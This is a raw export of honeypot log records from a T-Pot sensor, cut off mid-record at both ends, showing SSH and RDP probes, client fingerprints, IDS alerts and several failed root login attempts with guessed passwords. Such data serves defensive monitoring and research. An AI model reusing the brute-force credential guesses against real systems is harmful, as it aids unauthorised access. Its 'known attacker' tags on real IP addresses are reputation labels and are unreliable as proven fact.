"hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "80d1e92edd65", "@version": "1", "timestamp": "2021-09-20T11:19:12.978496Z", "@timestamp": "2021-09-20T11:19:12.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28559	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:19:14.316112+03	2021-09-20 14:30:02.991524+03	{"_id": "tQbuAnwBvYTbRNuEdS8y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 844063854116252, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44204, "dest_port": 22, "timestamp": "2021-09-20T11:19:14.316112Z", "@timestamp": "2021-09-20T11:19:14.316Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28560	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:19:26.613051+03	2021-09-20 14:30:02.992524+03	{"_id": "xwbuAnwBvYTbRNuEpi9C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "31ce5f7846f5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:26.613051Z", "@timestamp": "2021-09-20T11:19:26.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28561	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:19:26.891066+03	2021-09-20 14:30:02.993524+03	{"_id": "zgbuAnwBvYTbRNuEqC8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:26.331725+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1073260489740237, "payload": "AAADzAYUKylrK/EiuhHOdxI36I1RTQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54770, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:26.891066Z", "@timestamp": "2021-09-20T11:19:26.891Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......+)k+.\\"...w.7..QM...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28562	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:26.615257+03	2021-09-20 14:30:02.994523+03	{"_id": "zwbuAnwBvYTbRNuEqS9C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54770, "timestamp": "2021-09-20T11:19:26.615257", "@timestamp": "2021-09-20T11:19:26.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28563	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:34.178757+03	2021-09-20 14:30:02.996523+03	{"_id": "3wbuAnwBvYTbRNuExC-d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 24880, "timestamp": "2021-09-20T11:19:34.178757", "@timestamp": "2021-09-20T11:19:34.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28564	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:34.176689+03	2021-09-20 14:30:02.997523+03	{"_id": "4wbuAnwBvYTbRNuExS-G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "db6a11a83147", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:19:34.176689Z", "@timestamp": "2021-09-20T11:19:34.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28565	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:34.443152+03	2021-09-20 14:30:02.999524+03	{"_id": "5wbuAnwBvYTbRNuExS-G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "db6a11a83147", "@version": "1", "timestamp": "2021-09-20T11:19:34.443152Z", "@timestamp": "2021-09-20T11:19:34.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28566	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:19:34.442475+03	2021-09-20 14:30:03.000524+03	{"_id": "6QbuAnwBvYTbRNuExy9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 656543435840831, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 24880, "dest_port": 22, "timestamp": "2021-09-20T11:19:34.442475Z", "@timestamp": "2021-09-20T11:19:34.442Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28567	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:35.858147+03	2021-09-20 14:30:03.001523+03	{"_id": "6gbuAnwBvYTbRNuEyS9v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/234] failed", "session": "db6a11a83147", "@version": "1", "password": "234", "username": "root", "timestamp": "2021-09-20T11:19:35.858147Z", "@timestamp": "2021-09-20T11:19:35.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28568	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:37.151729+03	2021-09-20 14:30:03.002523+03	{"_id": "6wbuAnwBvYTbRNuE0S8_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/23456werty] failed", "session": "db6a11a83147", "@version": "1", "password": "23456werty", "username": "root", "timestamp": "2021-09-20T11:19:37.151729Z", "@timestamp": "2021-09-20T11:19:37.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28569	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:19:38.42827+03	2021-09-20 14:30:03.004523+03	{"_id": "7QbuAnwBvYTbRNuE1S8o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2345wert] failed", "session": "db6a11a83147", "@version": "1", "password": "2345wert", "username": "root", "timestamp": "2021-09-20T11:19:38.428270Z", "@timestamp": "2021-09-20T11:19:38.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28570	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:19:40.319806+03	2021-09-20 14:30:03.005524+03	{"_id": "8QbuAnwBvYTbRNuE2i_P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:40.134543+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 843518395026831, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 10132, "timestamp": "2021-09-20T11:19:40.319806Z", "@timestamp": "2021-09-20T11:19:40.319Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28571	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:40.395674+03	2021-09-20 14:30:03.006524+03	{"_id": "-gbuAnwBvYTbRNuE3i-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:40.134543+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 843518395026831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 10132, "dest_port": 3389, "timestamp": "2021-09-20T11:19:40.395674Z", "@timestamp": "2021-09-20T11:19:40.395Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28594	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.513603+03	2021-09-20 14:30:03.048524+03	{"_id": "mAbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.253:51564 (192.168.176.2:22) [session: a9e00fab7de6]", "session": "a9e00fab7de6", "@version": "1", "protocol": "ssh", "src_port": 51564, "dest_port": 22, "timestamp": "2021-09-20T11:20:09.513603Z", "@timestamp": "2021-09-20T11:20:09.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28572	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:19:43.867841+03	2021-09-20 14:30:03.007523+03	{"_id": "AgbuAnwBvYTbRNuE6DC0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "735fd167003a", "@version": "1", "timestamp": "2021-09-20T11:19:43.867841Z", "@timestamp": "2021-09-20T11:19:43.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 